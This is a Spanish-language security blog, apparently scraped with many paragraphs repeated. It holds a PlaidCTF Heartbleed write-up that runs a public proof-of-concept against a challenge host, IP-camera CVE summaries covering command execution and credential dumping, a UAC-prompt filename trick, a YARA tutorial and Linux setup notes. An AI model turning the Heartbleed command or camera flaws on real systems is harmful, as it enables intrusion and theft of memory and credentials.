Creo que el título lo dice todo. Este blog continuará desde Wordpress: https://crackinglandia.wordpress.com/
Todas las entradas de años anteriores seguirán estando disponibles tanto en este como en el nuevo sitio que he elegido para el blog pero el nuevo contenido solo estará disponible en Wordpress.
Nos vemos por allá :)
lunes, 9 de noviembre de 2015
lunes, 14 de abril de 2014
Write-up: PlaidCTF 2014 - Heartbleed - Misc - 10 pts
El reto presentado tiene que ver con la vulnerabilidad presentada la semana pasada.
El enunciado decía lo siguiente:
Lo que hice fue utilizar este PoC público para este bug:
Parte del output es el siguiente:
El flag es:flag{hey_guise_we_made_a_heartbleed}
El enunciado decía lo siguiente:
Back up now! Hopefully for good.
Our hearts are bleeding. But instead of bleeding password bytes, they're bleeding flags. Please recover our flags so we don't bleed to death before we can update to 1.0.1-g. Site is up at https://54.82.147.138:45373
Lo que hice fue utilizar este PoC público para este bug:
python hb-test.py 54.82.147.138 -p 45373 > hb-response.txt
Parte del output es el siguiente:
El flag es:flag{hey_guise_we_made_a_heartbleed}
lunes, 30 de septiembre de 2013
[Slides] Do you know who's watching you?: An in-depth examination of IP cameras attack surface
Hola!,
simplemente decirles que ya se pueden bajar los slides de la charla que dimos con Francisco Falcón el viernes pasado en Ekoparty.
Los slides son de nuestra charla sobre cámaras IP en la cual contamos un poco cuales fueron las vulnerabilidades que encontramos en este tipo de dispositivos, como los explotamos para conseguir acceso remoto y que cosas se pueden hacer una vez que se consiguió comprometer la cámara, entre otras cosas.
Los pueden bajar desde el sitio de Corelabs, aquí.
Acá pueden encontrar el video de la charla.
Espero que les guste!.
De paso, les dejo una foto que sacó @golmatt de la charla:
Hasta pronto!.
simplemente decirles que ya se pueden bajar los slides de la charla que dimos con Francisco Falcón el viernes pasado en Ekoparty.
Los slides son de nuestra charla sobre cámaras IP en la cual contamos un poco cuales fueron las vulnerabilidades que encontramos en este tipo de dispositivos, como los explotamos para conseguir acceso remoto y que cosas se pueden hacer una vez que se consiguió comprometer la cámara, entre otras cosas.
Los pueden bajar desde el sitio de Corelabs, aquí.
Acá pueden encontrar el video de la charla.
Espero que les guste!.
De paso, les dejo una foto que sacó @golmatt de la charla:
Hasta pronto!.
Etiquetas:
camera,
embed,
firmware,
ip,
surveillance,
vulnerabilities
lunes, 23 de septiembre de 2013
Ekoparty & hack.lu 2013
Esta semana, se organiza una vez más la conferencia más grande de Latinoamérica en Buenos Aires, Argentina, la Ekoparty.
Este año no estaremos presentes con el curso "Defeating Software Protections" como lo hicimos en ediciones pasadas junto a @ricnar456, @Ariel_Coronel, @solidcls y MCKSysArgentina. Sin embargo, junto a Francisco Falcón, vamos a estar presentando el trabajo que nos mantuvo bastante ocupados a fines del año pasado.
El título de la charla es "Do you know who's watching you?: An in-depth examination of IP cameras attack surface".
No voy a contar demasiado porque sino no tiene gracia, solo les voy a decir que trata, como bien pueden deducir del títutlo, sobre cámaras IP :)
Durante nuestro research hemos encontrado diferentes vulnerabilidades en diferentes marcas y modelos de cámaras IP y además ahora, nuestro trabajo se ha convertido y forma parte del nuevo vector de ataque de CORE IMPACT PRO.
A su vez, esta charla también la vamos a presentar en hack.lu en Octubre.
Ni bien terminemos la charla, vamos a subir los slides al sitio de corelabs para que puedan bajarlos.
Hasta pronto!
Este año no estaremos presentes con el curso "Defeating Software Protections" como lo hicimos en ediciones pasadas junto a @ricnar456, @Ariel_Coronel, @solidcls y MCKSysArgentina. Sin embargo, junto a Francisco Falcón, vamos a estar presentando el trabajo que nos mantuvo bastante ocupados a fines del año pasado.
El título de la charla es "Do you know who's watching you?: An in-depth examination of IP cameras attack surface".
No voy a contar demasiado porque sino no tiene gracia, solo les voy a decir que trata, como bien pueden deducir del títutlo, sobre cámaras IP :)
Durante nuestro research hemos encontrado diferentes vulnerabilidades en diferentes marcas y modelos de cámaras IP y además ahora, nuestro trabajo se ha convertido y forma parte del nuevo vector de ataque de CORE IMPACT PRO.
A su vez, esta charla también la vamos a presentar en hack.lu en Octubre.
Ni bien terminemos la charla, vamos a subir los slides al sitio de corelabs para que puedan bajarlos.
Hasta pronto!
lunes, 15 de julio de 2013
pype32 - Yet another Python library to manipulate PE/PE+ files
Hace un tiempo, estuve desarrollando una librería en Python para leer y escribir archivos PE/PE+. Comencé por un motivo específico, pensando en hacer algo muy particular para otro trabajo que estaba realizando pero finalmente terminé escribiendo pype32.
Después de tenerla un tiempo guardada, decidí ponerla en github para que todo el mundo pueda usarla.
Digamos que está en un estado alpha porque, más allá de haber realizado bastante pruebas, falta mucho trabajo por hacer para estar a la altura de pefile, por ejemplo.
Por el momento, está el código de la librería y la documentación de las clases y métodos generados con epydoc pero faltaría agregar un pequeño tutorial para demostrar las bondades que tiene.
El que quiera puede comenzar a probarla y darme su opinión.
Seguramente, en los próximos meses continúe el desarrollo de esta y otras librerías.
Saludos.
Después de tenerla un tiempo guardada, decidí ponerla en github para que todo el mundo pueda usarla.
Digamos que está en un estado alpha porque, más allá de haber realizado bastante pruebas, falta mucho trabajo por hacer para estar a la altura de pefile, por ejemplo.
Por el momento, está el código de la librería y la documentación de las clases y métodos generados con epydoc pero faltaría agregar un pequeño tutorial para demostrar las bondades que tiene.
El que quiera puede comenzar a probarla y darme su opinión.
Seguramente, en los próximos meses continúe el desarrollo de esta y otras librerías.
Saludos.
lunes, 10 de junio de 2013
Windows Installer Detection
Hoy en el trabajo me encontré con un problema curioso.
Estaba trabajando en Windows 7 y tenía un binario (PE) que se suponía no debía pedirme permisos a través del UAC para poder ejecutarlo. Sin embargo, me pedía confirmación al ejecutarlo:
Primeramente, pensé que esto se debía a un archivo manifest pero examinando el archivo con, por ejemplo, CFF Explorer, no había señales de ningún manifest. Qué estaba pasando?.
Le conté a marciano lo que estaba pasando y comenzamos a verlo un poco más de cerca, con una búsqueda en Google, encontró un link interesante y me dijo: "Mirá, me parece que es esto", el link era a una página en la MSDN donde se explicaba algo llamado Windows Installer Detection.
La historia es la siguiente: con la aparición de Windows Vista y UAC los programas comenzaron a correr con privilegios de un usuario standard, o sea, el usuario Administrador de Windows XP ya no era más Administrador en Vista. Esto acarreó el problema de que muchos programas que necesitaban de privilegios de Administrador para poder correr ya no funcionaban, sobre todo, instaladores de programas que necesitaban, por ejemplo, escribir en algún directorio especial.
Cómo se solucionó este problema? La gente de Microsoft desarrollo un sistema muy complejo basado en heurísticas muy complejas también, para poder determinar si un programa necesita o no de privilegios de Administrador para poder correr.
La verdad es que no se si se me va a hacer fácil explicar estas heurísticas pero voy a hacer el intento. La heuristica está basada en ... el nombre del archivo!!! (WTF?).
Si, aunque no lo crean es así, hagan la prueba. Windows se fija si el nombre del archivo contiene palabras tales como "setup", "install" o "update" y si ese es el caso, entonces, supone que el programa necesita de privilegios de Administrador para poder correr y agrega el prompt de UAC.
Entonces, hicimos la prueba de renombrar el archivo y mágicamente, el control de UAC desapareció:
Esto es lo que dice el artículo de Microsoft:
Hasta pronto!.
Estaba trabajando en Windows 7 y tenía un binario (PE) que se suponía no debía pedirme permisos a través del UAC para poder ejecutarlo. Sin embargo, me pedía confirmación al ejecutarlo:
Primeramente, pensé que esto se debía a un archivo manifest pero examinando el archivo con, por ejemplo, CFF Explorer, no había señales de ningún manifest. Qué estaba pasando?.
Le conté a marciano lo que estaba pasando y comenzamos a verlo un poco más de cerca, con una búsqueda en Google, encontró un link interesante y me dijo: "Mirá, me parece que es esto", el link era a una página en la MSDN donde se explicaba algo llamado Windows Installer Detection.
La historia es la siguiente: con la aparición de Windows Vista y UAC los programas comenzaron a correr con privilegios de un usuario standard, o sea, el usuario Administrador de Windows XP ya no era más Administrador en Vista. Esto acarreó el problema de que muchos programas que necesitaban de privilegios de Administrador para poder correr ya no funcionaban, sobre todo, instaladores de programas que necesitaban, por ejemplo, escribir en algún directorio especial.
Cómo se solucionó este problema? La gente de Microsoft desarrollo un sistema muy complejo basado en heurísticas muy complejas también, para poder determinar si un programa necesita o no de privilegios de Administrador para poder correr.
La verdad es que no se si se me va a hacer fácil explicar estas heurísticas pero voy a hacer el intento. La heuristica está basada en ... el nombre del archivo!!! (WTF?).
Si, aunque no lo crean es así, hagan la prueba. Windows se fija si el nombre del archivo contiene palabras tales como "setup", "install" o "update" y si ese es el caso, entonces, supone que el programa necesita de privilegios de Administrador para poder correr y agrega el prompt de UAC.
Entonces, hicimos la prueba de renombrar el archivo y mágicamente, el control de UAC desapareció:
Esto es lo que dice el artículo de Microsoft:
With the arrival of User Access Control (UAC) in Windows Vista, applications run with standard user privileges by default. Some programs, however, need to run with administrative privileges, most notably installers that need to write to privileged locations. These programs will fail with access denied errors when run as standard user. To remedy this, starting with Windows Vista, the operating system will apply some heuristics to determine whether the executable is, in fact, an installer, and if so, attempt to elevate to administrator privileges. However, sometimes these heuristics can themselves cause problems. This unit will explain these installer detection heuristics, and show you how to overcome common problems due to these.
Acá pueden leer algo más de información.Los invito a que hagan la prueba!!!.
Hasta pronto!.
martes, 28 de mayo de 2013
Más vulnerabilidades en cámaras IP - Zavio, TP-LINK, MayGion
Hoy se publicaron tres nuevos advisories sobre vulnerabilidades en cámaras IP. Esta vez le tocó el turno a Zavio, TP-LINK y MayGion.
Pueden leer los detalles de cada bug en los siguientes links:
Hasta pronto!.
Pueden leer los detalles de cada bug en los siguientes links:
Hasta pronto!.
Etiquetas:
ipcams,
maygion,
tp-link,
Vulnerabilidades,
zavio
jueves, 9 de mayo de 2013
Placa wireless Broadcom BCM4312 y Debian Wheezy
Hace unos días se publicó la nueva versión de Debian, denominada Wheezy.
Yo vivía contento con mi HP Pavilion dv2-1010la y mi Debian Squeeze instalado en ella.
Al momento de comprar la PC venía con Windows Vista pre-instalado y todo funcionaba bien, bueh, salvo por Windows :)
Al instalar Squeeze, cuyo kernel es 2.6, la placa wireless Broadcom dejó de funcionar pero gracias a los pasos descriptos en http://wiki.debian.org/bcm43xx pude volver a revivirla.
Al hacer update a Wheezy, la placa dejó de funcionar otra vez y esta vez los pasos descriptos en el link anterior no fueron suficientes para revivirla.
Probé incluso compilando los drivers que ofrece el fabricante http://www.broadcom.com/support/802.11/linux_sta.php pero nada parecía funcionar y parece que fue debido a que Wheezy tiene kernel 3.2 en lugar de 2.6.
Por suerte, acá encontré la solución.
Ejecutando los siguientes comandos desde una terminal y reiniciando, mi placa wireless volvió a funcionar:
echo "deb http://ftp.br.debian.org/debian/ wheezy main contrib non-free" >> /etc/apt/sources.list
apt-get update
apt-get install firmware-linux-nonfree firmware-b43-installer # or firmware-b43-lpphy-installer
En mi caso, tuve que instalar firmware-b43-lpphy-installer en lugar de firmware-b43-installer.
Ah, para saber que tipo de placa wireless tenemos, simplemente ejecuto el comando lspci:
ncr@debian:~$ lspci
00:00.0 Host bridge: Advanced Micro Devices [AMD] nee ATI RS690 Host Bridge
00:01.0 PCI bridge: Advanced Micro Devices [AMD] nee ATI RS690 PCI to PCI Bridge (Internal gfx)
00:06.0 PCI bridge: Advanced Micro Devices [AMD] nee ATI RS690 PCI to PCI Bridge (PCI Express Port 2)
00:07.0 PCI bridge: Advanced Micro Devices [AMD] nee ATI RS690 PCI to PCI Bridge (PCI Express Port 3)
00:12.0 SATA controller: Advanced Micro Devices [AMD] nee ATI SB600 Non-Raid-5 SATA
00:13.0 USB controller: Advanced Micro Devices [AMD] nee ATI SB600 USB (OHCI0)
00:13.1 USB controller: Advanced Micro Devices [AMD] nee ATI SB600 USB (OHCI1)
00:13.2 USB controller: Advanced Micro Devices [AMD] nee ATI SB600 USB (OHCI2)
00:13.3 USB controller: Advanced Micro Devices [AMD] nee ATI SB600 USB (OHCI3)
00:13.4 USB controller: Advanced Micro Devices [AMD] nee ATI SB600 USB (OHCI4)
00:13.5 USB controller: Advanced Micro Devices [AMD] nee ATI SB600 USB Controller (EHCI)
00:14.0 SMBus: Advanced Micro Devices [AMD] nee ATI SBx00 SMBus Controller (rev 14)
00:14.1 IDE interface: Advanced Micro Devices [AMD] nee ATI SB600 IDE
00:14.2 Audio device: Advanced Micro Devices [AMD] nee ATI SBx00 Azalia (Intel HDA)
00:14.3 ISA bridge: Advanced Micro Devices [AMD] nee ATI SB600 PCI to LPC Bridge
00:14.4 PCI bridge: Advanced Micro Devices [AMD] nee ATI SBx00 PCI to PCI Bridge
00:18.0 Host bridge: Advanced Micro Devices [AMD] K8 [Athlon64/Opteron] HyperTransport Technology Configuration
00:18.1 Host bridge: Advanced Micro Devices [AMD] K8 [Athlon64/Opteron] Address Map
00:18.2 Host bridge: Advanced Micro Devices [AMD] K8 [Athlon64/Opteron] DRAM Controller
00:18.3 Host bridge: Advanced Micro Devices [AMD] K8 [Athlon64/Opteron] Miscellaneous Control
01:05.0 VGA compatible controller: Advanced Micro Devices [AMD] nee ATI RS690M [Radeon X1200 Series]
02:00.0 Network controller: Broadcom Corporation BCM4312 802.11b/g LP-PHY (rev 01)
08:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8101E/RTL8102E PCI Express Fast Ethernet controller (rev 02)
Este post es más una ayuda de memoria para el futuro dado que siempre me pasa que cuando me encuentro con un problema y lo soluciono, al tiempo no recuerdo como lo hice :P
miércoles, 1 de mayo de 2013
Advisories - Vulnerabilidades en IP cams: D-Link & Vivotek
Hola!,
ayer se publicaron dos advisories sobre un par de bugs que encontramos con Francisco Falcón en cámaras IP D-Link y Vivotek.
Las vulnerabilidades son las siguientes:
D-Link:
Vivotek:
ayer se publicaron dos advisories sobre un par de bugs que encontramos con Francisco Falcón en cámaras IP D-Link y Vivotek.
Las vulnerabilidades son las siguientes:
D-Link:
- CVE-2013-1599: execute arbitrary commands from the administration web interface
- CVE-2013-1600: access the video stream via HTTP
- CVE-2013-1601: access the ASCII video stream via image luminance
Vivotek:
- CVE-2013-1597: dump the camera's memory and retrieve user credentials
- CVE-2013-1598: execute arbitrary commands from the administration web interface (pre-authentication with firmware 0300a and post-authentication with firmware 0400a)
Etiquetas:
Advisory,
auth-bypass,
coffeepotbug,
ipcams,
path-traversal,
rce,
Vulnerabilidades
jueves, 4 de abril de 2013
Mi experiencia con Raspberry Pi
Hace un tiempo atrás, no recuerdo muy bien si fue googleando, por medio de un amigo, o algún mensaje en una lista de correo, supe de la existencia de Raspberry Pi y desde ese mismo me fascinó.
Què es Raspberry Pi o Raspi?. Es una computadora del tamaño de una tarjeta de crédito que fue creada por la fundación Raspberry para promover el estudio de las ciencias de la computadora, en general, y el uso de lenguajes de programación, enfocados en Python. Además, es una PC de muy bajo costo, entre 20 y 40 dólares, y con buenas prestaciones.
Hay dos modelos, el modelo más potente hasta la fecha es el B que tiene las siguientes características:
SoC: Broadcom BCM2835 (CPU + GPU. SDRAM is a separate chip stacked on top)
CPU: 700 MHz ARM11 ARM1176JZF-S core
GPU: Broadcom VideoCore IV,OpenGL ES 2.0,OpenVG 1080p30 H.264 high-profile encode/decode
USB ports: 2 (via integrated USB hub)
Video outputs: Composite video | Composite RCA, HDMI (not at the same time)
Audio outputs: TRS connector | 3.5 mm jack, HDMI
Onboard storage: Secure Digital|SD / MMC / SDIO card slot
Onboard network: 10/100 wired Ethernet RJ45
Low-level peripherals: General Purpose Input/Output (GPIO) pins, Serial Peripheral Interface Bus (SPI), I²C, I²S[2], Universal asynchronous receiver/transmitter (UART)Como pueden observar, las prestaciones son muy buenas y nos ofrecen muchas posibilidades como, por ejemplo, correr Quake 3, tener un media server para conectar a nuestro LCD o simplemente, aprender a programar :)
Yo adquirí el modelo B en Adafruit hace algunas semanas y pude conectarlo a la TV por medio del cable de video común sin problemas para comenzar a jugar. Les recomiendo que lean este post para ir metiendose en el tema.
Acá en Argentina se está armando toda una comunidad alrededor de Raspberry. Si les interesa pueden visitar su twitter acá o visitar su página web acá.
La verdad es que estoy muy contento con este nuevo juguete y, aunque por falta de tiempo no he podido jugar mucho más con él, no veo la hora de comenzar algún proyectito.
Mi consejo: compren uno y ponganse a jugar!.
Hasta pronto!.
Referencias:
Etiquetas:
arm,
embedded-device,
linux,
raspberry-pi,
raspbian,
raspi
sábado, 30 de marzo de 2013
Unas notas sobre Yara
Hace un tiempo, tuve la tarea de tratar de identificar determinado patrón dentro de un conjunto de archivos dado. Primero pensé en hacerlo con Python pero no quería hacer lo que seguramente están pensando: string.find(). Entonces, recordé que en un momento, leyendo Malware Analyst's Cookbook, había visto yara.
Qué es Yara?. Desde su web dicen esto:
Esto lo vamos a ver mucho más claro con un ejemplo, pero primero, instalemos Yara.
Primero que nada, nos bajamos los sources y los bindings para Python:
Es hora de que comencemos a escribir nuestra primer regla, pero les aconsejo que miren la documentación de Yara para tener mucha más información al respecto.
Las reglas en Yara van simplemente en un archivo .txt aunque por conveniencia se le coloca la extensión .yara.
La estructura de cada regla es la siguiente:
Para comenzar, tenemos la palabra reservada "rule" para indicar que es una regla. Seguido va el nombre que queremos darle a la regla y separado por dos puntos ":" van los keywords o tags para dicha regla.
Entre llaves "{}" va a ir todo el "código" de la regla. Primero, tenemos una sección de metadata indicada con la palabra "meta". En "description" es donde colocaremos un pequeño párrafo describiendo para que sirve la regla, como funciona, etc.
Luego, tenemos dos partes importantes que son, básicamente, el esqueleto principal de cada regla.
Primeramente, "strings" sirve para declarar los patrones a buscar y matchear. Estos patrones pueden ser bytes, strings ASCII, strings wide, tanto case sensitive como case insensitive y hasta expresiones regulares.
A continuación, tenemos "condition". En esta sección vamos a colocar todas las condiciones que deben de cumplirse para matchear. Estas son expresiones lógicas como las que pusimos en el ejemplo.
Para seguir aclarando las cosas un poco más, escribamos una regla que nos diga si un archivo esta empacado con UPX:
Voy a probar esta regla contra un archivo empacado con UPX 3.09. Vamos a hacerlo desde una terminal:
Sin dudas, es una gran herramienta que nos puede ser de mucha utilidad.
Hasta acá con Yara. Espero que les haya sido útil. Hasta la próxima.
Referencias:
Qué es Yara?. Desde su web dicen esto:
YARA is a tool aimed at helping malware researchers to identify and classify malware samples. With YARA you can create descriptions of malware families based on textual or binary patterns contained on samples of those families. Each description consists of a set of strings and a Boolean expression which determines its logic.Para ponerlo en criollo, Yara permite, mediante un conjunto de reglas, clasificar e identificar muestras de malware.
Esto lo vamos a ver mucho más claro con un ejemplo, pero primero, instalemos Yara.
Primero que nada, nos bajamos los sources y los bindings para Python:
nriva@ubuntu:~$ wget http://yara-project.googlecode.com/files/yara-1.7.tar.gzLuego, descomprimimos los .tar.gz:
nriva@ubuntu:~$ wget http://yara-project.googlecode.com/files/yara-python-1.7.tar.gz
nriva@ubuntu:~$ tar xzf yara-1.7.tar.gzInstalamos un par de paquetes que vamos a necesitar para compilar:
nriva@ubuntu:~$ tar xzf yara-python-1.7.tar.gz
nriva@ubuntu:~$ sudo apt-get install python-dev libpcre3 libpcre3-devAhora, nos vamos a la carpeta de los sources de Yara y ejecutamos los siguientes comandos para compilar:
nriva@ubuntu:~$ cd yara-1.7/Listo, ya tenemos yara funcionando:
nriva@ubuntu:~/yara-1.7$ ./configure
nriva@ubuntu:~/yara-1.7$ make
nriva@ubuntu:~/yara-1.7$ make check
nriva@ubuntu:~/yara-1.7$ sudo make install
nriva@ubuntu:~/yara-1.7$ yaraAhora, compilemos los bindings para Python:
usage: yara [OPTION]... [RULEFILE]... FILE | PID
options:
-t <tag> print rules tagged as <tag> and ignore the rest. Can be used more than once.
-i <identifier> print rules named <identifier> and ignore the rest. Can be used more than once.
-n print only not satisfied rules (negate).
-g print tags.
-m print metadata.
-s print matching strings.
-l <number> abort scanning after a <number> of rules matched.
-d <identifier>=<value> define external variable.
-r recursively search directories.
-f fast matching mode.
-v show version information.
Report bugs to: <vmalvarez@virustotal.com>
nriva@ubuntu:~$ cd yara-python-1.7/Probemos a ver si funciona:
nriva@ubuntu:~/yara-python-1.7$ python setup.py build
nriva@ubuntu:~/yara-python-1.7$ sudo python setup.py install
nriva@ubuntu:~/yara-python-1.7$ pythonTenemos un error. Buscando en Google, damos con la solución:
Python 2.7.2+ (default, Jul 20 2012, 22:15:08)
[GCC 4.6.1] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import yara
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
ImportError: libyara.so.0: cannot open shared object file: No such file or directory
>>>
nriva@ubuntu:~/yara-python-1.7$ sudo suYa tenemos todo funcionando. Por un lado, la versión standalone que ejecutaremos desde una terminal y por el otro los módulos para poder utilizar Yara desde Python.
root@ubuntu:/home/nriva/yara-python-1.7# echo "/usr/local/lib" >> /etc/ld.so.conf
root@ubuntu:/home/nriva/yara-python-1.7# ldconfig
root@ubuntu:/home/nriva/yara-python-1.7# exit
exit
nriva@ubuntu:~/yara-python-1.7$ python
Python 2.7.2+ (default, Jul 20 2012, 22:15:08)
[GCC 4.6.1] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import yara
>>> dir(yara)
['CALLBACK_ABORT', 'CALLBACK_CONTINUE', 'Error', 'SyntaxError', '__doc__', '__file__', '__name__', '__package__', 'compile']
>>>
Es hora de que comencemos a escribir nuestra primer regla, pero les aconsejo que miren la documentación de Yara para tener mucha más información al respecto.
Las reglas en Yara van simplemente en un archivo .txt aunque por conveniencia se le coloca la extensión .yara.
La estructura de cada regla es la siguiente:
rule NombreDeLaRegla : keyword1 keyword2Vayamos por partes.
{
meta:
description = "Metadata. Un simple párrafo que explica que hace la regla."
strings:
$pattern1 = "MiStringAMatchear1"
$pattern2 = "MiStringAMatchear2"
$regex1 = "MiRegex"
condition:
if $pattern1 and $pattern2 or regex1
}
Para comenzar, tenemos la palabra reservada "rule" para indicar que es una regla. Seguido va el nombre que queremos darle a la regla y separado por dos puntos ":" van los keywords o tags para dicha regla.
Entre llaves "{}" va a ir todo el "código" de la regla. Primero, tenemos una sección de metadata indicada con la palabra "meta". En "description" es donde colocaremos un pequeño párrafo describiendo para que sirve la regla, como funciona, etc.
Luego, tenemos dos partes importantes que son, básicamente, el esqueleto principal de cada regla.
Primeramente, "strings" sirve para declarar los patrones a buscar y matchear. Estos patrones pueden ser bytes, strings ASCII, strings wide, tanto case sensitive como case insensitive y hasta expresiones regulares.
A continuación, tenemos "condition". En esta sección vamos a colocar todas las condiciones que deben de cumplirse para matchear. Estas son expresiones lógicas como las que pusimos en el ejemplo.
Para seguir aclarando las cosas un poco más, escribamos una regla que nos diga si un archivo esta empacado con UPX:
rule upx : checkupxSi se fijan, en la condición estoy utilizando una palabra reservada más "entrypoint". De esta manera, le digo que solo busque el signature en el EntryPoint de un archivo PE. En caso de que el archivo no sea PE, esta regla nunca resultará en True.
{
meta:
description = "Esta regla comprueba si un archivo dado esta o no empacado con UPX."
strings:
/*
-----> UPX 3.09
807C24 08 01 CMP BYTE PTR SS:[ESP+8],1
0F85 E2010000 JNZ iisproxy.10091E5D
60 PUSHAD
BE 00800510 MOV ESI,iisproxy.10058000
8DBE 0090FAFF LEA EDI,DWORD PTR DS:[ESI+FFFA9000]
57 PUSH EDI
EB 10 JMP SHORT
*/
$entrypoint_signature = { 80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 EB 10 }
condition:
$entrypoint_signature at entrypoint
}
Voy a probar esta regla contra un archivo empacado con UPX 3.09. Vamos a hacerlo desde una terminal:
nriva@fastix:~/Desktop$ yara -s -t checkupx checkupx.yara iisproxy.dllComo vemos, la detección fue exitosa. Al invocar a Yara, le he pasado un par de parámetros:
upx iisproxy.dll
0x3a070:$entrypoint_signature: 80 7C 24 08 01 0F 85 E2 01 00 00 60 BE 00 80 05 10 8D BE 00 90 FA FF 57 EB 10
- -s: con este parámetro le indico que me muestre los patrones que han matcheado.
- -t <tag>: con este parámetro le indico que quiero que solo me matchee la regla marcada con el keyword <tag>.
Sin dudas, es una gran herramienta que nos puede ser de mucha utilidad.
Hasta acá con Yara. Espero que les haya sido útil. Hasta la próxima.
Referencias:
Compilando un kernel custom para Linux
El otro día necesitaba aplicar un patch al kernel de Ubuntu. Nunca me había tocado hacer esto así que no tuve más remedio que aprender :)
Con una búsqueda en Google podemos encontrar decenas de tutoriales, desde avanzados hasta novatos. En particular, yo seguí este tutorial pero tuve que hacer algunas modificaciones.
Aclaro que, en mi caso, estaba trabajando con kernel 3.0.0-12.20:
Lo primero que tenemos que hacer es instalar algunos paquetes que vamos a necesitar para compilar:
sudo apt-get install gcc fakeroot kernel-package libncurses5-develLuego, vamos a necesitar los sources del kernel. Acá tenemos un par de opciones para poder obtenerlos:
1. Podemos ejecutar el siguiente comando: apt-get source linux-image-$(uname -r)
De esta manera, vamos a conseguir los sources de kernel up-to-date (incluyendo parches de seguridad) para la versión de kernel que tenemos actualmente instalada.
En este caso, yo quería que esos parches no estén así que recurrí a la segunda opción.
2. Desde Linux Kernel Archives podemos acceder a todas las versiones del kernel de Linux.
3. En mi caso, accedí directamente al repositorio de paquetes de Ubuntu y elegí la versión que estaba utilizando (oneric) y luego en la sección de "admin" conseguí lo que buscaba linux-image-3.0.0-12-generic (3.0.0-12.20)
Sobre la parte derecha de su pantalla, van a poder observar un par de links para bajarse unos archivos:
De ahí nos vamos a bajar los siguientes archivos:
1. linux_3.0.0.orig.tar.gz: los sources del kernel "pelados"Una vez hecho eso, vamos al home y creamos una carpeta, por ejemplo, llamada src, de esta manera:
2- linux_3.0.0-12.20.diff.gz: parches
Y en dicha carpeta colocamos los dos archivos que acabamos de bajar y los descomprimimos:
nriva@ubuntu:~/src$ tar -xf linux_3.0.0.orig.tar.gzPor una lado tenemos la carpeta con los sources originales y por el otro un archivos .diff que contiene diferentes parches para dicho kernel. Por lo tanto, voy a aplicar dichos parches a los sources originales antes de hacer cualquier modificación.
nriva@ubuntu:~/src$ gunzip linux_3.0.0-12.20.diff.gz
Para aplicar los parches, debemos de ingresar a la carpeta donde se encuentran los sources originales y ejecutar el siguiente comando (deben de tener previamente instalado el programa "patch"):
nriva@ubuntu:~/src/linux-3.0$ patch -p1 < ../linux_3.0.0-12.20.diffDe esa manera, aplicamos los parches correspondientes al kernel original.
Una vez que tenemos hecho eso, podemos hacer los cambios que necesitemos en los sources y finalmente, compilar:
time fakeroot make-kpkg --initrd --append-to-version=-tweak kernel-image kernel-headersEl comando "time" no es necesario, es solo para ver cuando se demoró en terminar todo el proceso.
El comando "fakeroot" es una especie de falso sudo. Se utiliza cuando se necesita manipular archivos y crear, como en este caso, paquetes .deb.
make-kpkg se utiliza para crear paquetes .deb pero relacionados con el kernel.
Con "--initrd" se crea una especie de filesystem temporal (RAM disk) necesario durante el booteo del nuevo kernel.
El parámetro "--append-to-version" sirve para poder agregar una especie de "postfijo" al nuevo kernel que se generará. En este caso será algo como "kernel 3.0.0-12-tweak".
Finalmente, le indicamos que genere los binarios y headers para nuestro kernel.
Una vez que termine el proceso, vamos a tener algo como esto:
make[2]: Leaving directory `/home/nriva/src/linux-3.0'Al ir un nivel más arriba del directorio en el cual nos encontramos, vamos a encontrar dos archivos .deb:
make[1]: Leaving directory `/home/nriva/src/linux-3.0'
real 126m19.925s
user 81m21.793s
sys 14m1.429s
nriva@ubuntu:~/src/linux-3.0$
Los archivos son los siguientes:
linux-image-3.0.4-tweak_3.0.4-tweak-10.00.Custom_amd64.debLo que debemos de hacer ahora es instalar ambos paquetes, de la siguiente manera:
linux-headers-3.0.4-tweak_3.0.4-tweak-10.00.Custom_amd64.deb
sudo dpkg -i linux-image-3.0.4-tweak_3.0.4-tweak-10.00.Custom_amd64.debDeberían de tener un output como este:
nriva@ubuntu:~/src$ sudo dpkg -i linux-image-3.0.4-tweak_3.0.4-tweak-10.00.Custom_amd64.debAhora, instalamos los headers:
[sudo] password for nriva:
Selecting previously deselected package linux-image-3.0.4-tweak.
(Reading database ... 127324 files and directories currently installed.)
Unpacking linux-image-3.0.4-tweak (from linux-image-3.0.4-tweak_3.0.4-tweak-10.00.Custom_amd64.deb) ...
Done.
Setting up linux-image-3.0.4-tweak (3.0.4-tweak-10.00.Custom) ...
Running depmod.
Examining /etc/kernel/postinst.d.
run-parts: executing /etc/kernel/postinst.d/initramfs-tools 3.0.4-tweak /boot/vmlinuz-3.0.4-tweak
update-initramfs: Generating /boot/initrd.img-3.0.4-tweak
run-parts: executing /etc/kernel/postinst.d/pm-utils 3.0.4-tweak /boot/vmlinuz-3.0.4-tweak
run-parts: executing /etc/kernel/postinst.d/update-notifier 3.0.4-tweak /boot/vmlinuz-3.0.4-tweak
run-parts: executing /etc/kernel/postinst.d/zz-update-grub 3.0.4-tweak /boot/vmlinuz-3.0.4-tweak
Generating grub.cfg ...
Found linux image: /boot/vmlinuz-3.0.4-tweak
Found initrd image: /boot/initrd.img-3.0.4-tweak
Found linux image: /boot/vmlinuz-3.0.0-12-generic
Found initrd image: /boot/initrd.img-3.0.0-12-generic
Found memtest86+ image: /boot/memtest86+.bin
done
nriva@ubuntu:~/src$ sudo dpkg -i linux-headers-3.0.4-tweak_3.0.4-tweak-10.00.Custom_amd64.debY el output es el siguiente:
nriva@ubuntu:~/src$ sudo dpkg -i linux-headers-3.0.4-tweak_3.0.4-tweak-10.00.Custom_amd64.debAhora, solo rebooteamos y deberíamos de arrancar con el nuevo kernel por default.
[sudo] password for nriva:
Selecting previously deselected package linux-headers-3.0.4-tweak.
(Reading database ... 131337 files and directories currently installed.)
Unpacking linux-headers-3.0.4-tweak (from linux-headers-3.0.4-tweak_3.0.4-tweak-10.00.Custom_amd64.deb) ...
Setting up linux-headers-3.0.4-tweak (3.0.4-tweak-10.00.Custom) ...
Examining /etc/kernel/header_postinst.d.
Para verificar que estamos corriendo con el nuevo kernel, abrimos una terminal y ejecutamos el comando: "uname -r":
Puede ocurrir que cuando booten el nuevo kernel se encuentren con un mensaje como este:
Kernel Panic - not syncing: VFS: Unable to mount root fs on unknown-block(0,0)Eso lo pueden solucionar ejecutando los siguientes comandos:
